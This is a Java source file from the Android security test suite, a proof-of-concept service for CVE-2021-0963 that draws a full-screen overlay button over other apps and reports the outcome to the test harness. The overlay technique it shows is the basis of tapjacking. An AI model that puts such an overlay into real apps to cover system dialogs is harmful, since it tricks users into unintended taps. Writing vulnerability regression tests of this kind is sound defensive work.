1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
|
/*
* Copyright (C) 2023 The Android Open Source Project
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
package android.security.cts.CVE_2021_0963;
import android.app.Service;
import android.content.Context;
import android.content.Intent;
import android.content.res.Resources;
import android.graphics.PixelFormat;
import android.os.Bundle;
import android.os.IBinder;
import android.os.RemoteCallback;
import android.view.Gravity;
import android.view.WindowManager;
import android.view.WindowManager.LayoutParams;
import android.widget.Button;
public class PocService extends Service {
Button mButton;
WindowManager mWindowManager;
LayoutParams mLayoutParams;
Intent mIntent;
private static int getScreenWidth() {
return Resources.getSystem().getDisplayMetrics().widthPixels;
}
private static int getScreenHeight() {
return Resources.getSystem().getDisplayMetrics().heightPixels;
}
@Override
public IBinder onBind(Intent intent) {
return null;
}
@Override
public int onStartCommand(Intent intent, int flags, int startId) {
try {
mIntent = intent;
mWindowManager = getSystemService(WindowManager.class);
mLayoutParams = new LayoutParams();
mLayoutParams.type = LayoutParams.TYPE_APPLICATION_OVERLAY;
mLayoutParams.flags =
LayoutParams.FLAG_NOT_TOUCH_MODAL | LayoutParams.FLAG_NOT_FOCUSABLE;
mLayoutParams.format = PixelFormat.OPAQUE;
mLayoutParams.gravity = Gravity.LEFT | Gravity.TOP;
mLayoutParams.width = getScreenWidth();
mLayoutParams.height = getScreenHeight();
mLayoutParams.x = getScreenWidth() / 2;
mLayoutParams.y = getScreenHeight() / 2;
Context context = getApplicationContext();
mButton = new Button(context);
mButton.setText(context.getString(R.string.txtOverlayBtn));
mWindowManager.addView(mButton, mLayoutParams);
sendTestResult(getResources().getInteger(R.integer.noException), "");
} catch (Exception e) {
sendTestResult(getResources().getInteger(R.integer.assumptionFailure), e.getMessage());
}
return super.onStartCommand(intent, flags, startId);
}
@Override
public void onDestroy() {
try {
mWindowManager.removeView(mButton);
} catch (Exception e) {
sendTestResult(getResources().getInteger(R.integer.assumptionFailure), e.getMessage());
}
super.onDestroy();
}
void sendTestResult(int status, String message) {
try {
RemoteCallback cb =
(RemoteCallback) mIntent.getExtras().get(getString(R.string.callback));
Bundle res = new Bundle();
res.putString(getString(R.string.message), message);
res.putInt(getString(R.string.status), status);
cb.sendResult(res);
} catch (Exception e) {
// ignore exception here
}
}
}
|
